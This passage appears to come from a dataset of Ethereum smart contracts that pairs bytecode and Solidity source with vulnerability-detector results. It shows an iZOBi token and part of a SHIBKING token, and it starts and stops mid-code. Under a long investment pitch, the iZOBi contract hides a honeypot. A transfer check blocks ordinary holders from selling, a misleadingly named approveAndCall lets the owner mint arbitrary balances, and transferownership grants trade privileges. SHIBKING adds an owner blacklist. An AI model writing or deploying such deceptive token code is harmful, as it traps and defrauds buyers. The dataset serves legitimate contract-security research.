fffffff610c0316565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ab49085906114a5565b60008184841115610bfb5760405162461bcd60e51b81526004016105bd91906113e4565b505050900390565b60008282018381101561050a5760405162461bcd60e51b81526004016105bd90611425565b6001600160a01b038216610c4e5760405162461bcd60e51b81526004016105bd90611495565b600254610c61908263ffffffff610c0316565b6002556001600160a01b038216600090815260208190526040902054610c8d908263ffffffff610c0316565b6001600160a01b0383166000818152602081905260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cdc9085906114a5565b60405180910390a35050565b600082610cf75750600061046b565b82820282848281610d0457fe5b041461050a5760405162461bcd60e51b81526004016105bd90611445565b600061050a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610ec7565b6001600160a01b038216610d8a5760405162461bcd60e51b81526004016105bd90611465565b610dcd81604051806060016040528060228152602001611565602291396001600160a01b038516600090815260208190526040902054919063ffffffff610bd716565b6001600160a01b038316600090815260208190526040902055600254610df9908263ffffffff610efe16565b6002556040516000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cdc9085906114a5565b6001600160a01b038116610e605760405162461bcd60e51b81526004016105bd90611405565b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008183610ee85760405162461bcd60e51b81526004016105bd91906113e4565b506000838581610ef457fe5b0495945050505050565b600061050a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bd7565b803561046b8161153e565b805161046b81611552565b803561046b8161155b565b600060208284031215610f7357600080fd5b6000610f7f8484610f40565b949350505050565b60008060408385031215610f9a57600080fd5b6000610fa68585610f40565b9250506020610fb785828601610f40565b9150509250929050565b600080600060608486031215610fd657600080fd5b6000610fe28686610f40565b9350506020610ff386828701610f40565b925050604061100486828701610f56565b9150509250925092565b6000806040838503121561102157600080fd5b600061102d8585610f40565b9250506020610fb785828601610f56565b60006020828403121561105057600080fd5b6000610f7f8484610f4b565b60006020828403121561106e57600080fd5b6000610f7f8484610f56565b611083816114f3565b82525050565b611083816114ce565b611083816114d9565b60006110a6826114c1565b6110b081856114c5565b93506110c0818560208601611504565b6110c981611534565b9093019392505050565b60006110e06023836114c5565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647281526265737360e81b602082015260400192915050565b60006111256026836114c5565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206181526564647265737360d01b602082015260400192915050565b600061116d6022836114c5565b7f45524332303a20617070726f766520746f20746865207a65726f206164647265815261737360f01b602082015260400192915050565b60006111b1601b836114c5565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000815260200192915050565b60006111ea601e836114c5565b7f5468652070726963652063616e27742062652075706461746564207965740000815260200192915050565b60006112236021836114c5565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f8152607760f81b602082015260400192915050565b60006112666020836114c5565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572815260200192915050565b600061129f6021836114c5565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265738152607360f81b602082015260400192915050565b60006112e26025836114c5565b7f45524332303a207472616e736665722066726f6d20746865207a65726f206164815264647265737360d81b602082015260400192915050565b60006113296024836114c5565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164648152637265737360e01b602082015260400192915050565b600061136f601f836114c5565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300815260200192915050565b611083816114ea565b611083816114ed565b6020810161046b8284611089565b604081016113c9828561107a565b61050a602083018461139b565b6020810161046b8284611092565b6020808252810161050a818461109b565b6020808252810161046b816110d3565b6020808252810161046b81611118565b6020808252810161046b81611160565b6020808252810161046b816111a4565b6020808252810161046b816111dd565b6020808252810161046b81611216565b6020808252810161046b81611259565b6020808252810161046b81611292565b6020808252810161046b816112d5565b6020808252810161046b8161131c565b6020808252810161046b81611362565b6020810161046b828461139b565b6020810161046b82846113a4565b5190565b90815260200190565b600061046b826114de565b151590565b6001600160a01b031690565b90565b60ff1690565b600061046b82600061046b826114ce565b60005b8381101561151f578181015183820152602001611507565b8381111561152e576000848401525b50505050565b601f01601f191690565b611547816114ce565b811461060657600080fd5b611547816114d9565b611547816114ea56fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa365627a7a72315820461cc6c394e5caec942caad23fdf95b5168896bfcaeb4ebca1a3bfc505b2755e6c6578706572696d656e74616cf564736f6c63430005110040
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 7,989 |
0x1fb78556ee121475d95a6b71b951996140f0d248
|
/**
*Submitted for verification at Etherscan.io on 2021-04-26
*/
/*
iZOBi VISION:
iZOBi's vision is to change the way the on-demand industry works and increase its value. The home services industry will be the first step of iZOBi’s to transform the gig economy.
Please Visit Here:
https://izobi.org
iZOBi MISSION:
Creation of a revolutionary project job hiring ecosystem that enables users to better find and safely work with contractors (by using blockchain technology).
iZOBi TOKEN:
A iZOBi Token represents the ownership percentage of an investment fund. iZOBi Token can be redeemed for the underlying assets or traded at any time.
Liquid Vault
A user sends ETH to the Liquid Vault to pool them with DARK tokens that the contract holds. They receive LP at a discount that is locked for an algorithmically determined period of time. This period reduces as the system health improves — system health is defined below.
◾️◾️◾️◾️◾️◾️◾️◾️◾️◾️◾️
The Liquid Vault uses the following economic levers:
When a user sends ETH to Liquid Vault it takes a percentage [ETH Fee] and auto-swaps this for iZOBi on Uniswap.
The remaining ETH is pooled with iZOBi to create LP tokens.
These LP tokens are returned to the user after a Lock Period.
Prior to receipt, a percentage, called the LP Donation, is deducted from the LP and sent to a 0x address i.e. locked forever.
T-One: Trustlessness — Variable LP lock periods dependent on system health
After someone sends ETH to Liquid Vault to get LP, it keeps LP for a period of time before the user can claim it.
DeFi is familiar with lock periods being fixed with staking rewards being farmed accordingly, but in DARK, as the system health improves, everyone’s lock period reduces autonomously. This is because when a user tries to claim their LP the smart contract checks system health to determine if the current lock period is lower than the period of time that has elapsed since the user sent ETH to Liquid Vault. If it is, they can claim their LP.
T-Two: Truth — Perpetually locked LP dependent on price strength
When someone claims their LP (after the lock period), a smart contract sends a percentage to the zero address u a function called LP Donation. This donation is locked permanently and contributes to the underlying strength of the system because the liquidity can never be removed. The donation percentage decreases as the iZOBi’s ETH price increases.
Example: Jane purchases LP by sending ETH. A percentage is sent to the zero address, and this percentage varies according to iZOBi’s ETH value.
T-Three: Toughness (antifragility) — Embedded Token buying pressure
At the heart of iZOBi is the creation of steadily increasing buy pressure as confidence in the system increases.
When a user sends ETH to Liquid Vault, part of it is not pooled to create LP. Part of it — called the ETH Fee- is swapped for DARK on Uniswap. ETH Fee varies with DARK in the Uniswap Pool. The ETH Fee and therefore buy pressure increases with the amount of iZOBi tokens in the Uniswap pool.
Example: Alice can get LP tokens by sending ETH. If the quantum of tokens in the Uniswap pool is low, the ETH fee will be low so Alice practically gets LP tokens at no cost. When the number of pooled iZOBi increases, the ETH fee autonomously increases so the cost of Alice’s LP increase but the buy pressure also goes up.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract iZOBi {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a723158201379bba38391d4659f396693e007cd12e7c8af4cad9f4ebe7f5b4037606a19dd64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 7,990 |
0x93924fdcb9b860e2fe6d99a2dc230725cf4b56c2
|
/*
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Quinkit is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SHIBKING";
string private constant _symbol = 'SHIBKING';
uint8 private constant _decimals = 9;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading(address pairAddress) external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Pair = pairAddress;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 3000000 * 10**9;
tradingOpen = true;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(tradingOpen || from == owner());
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
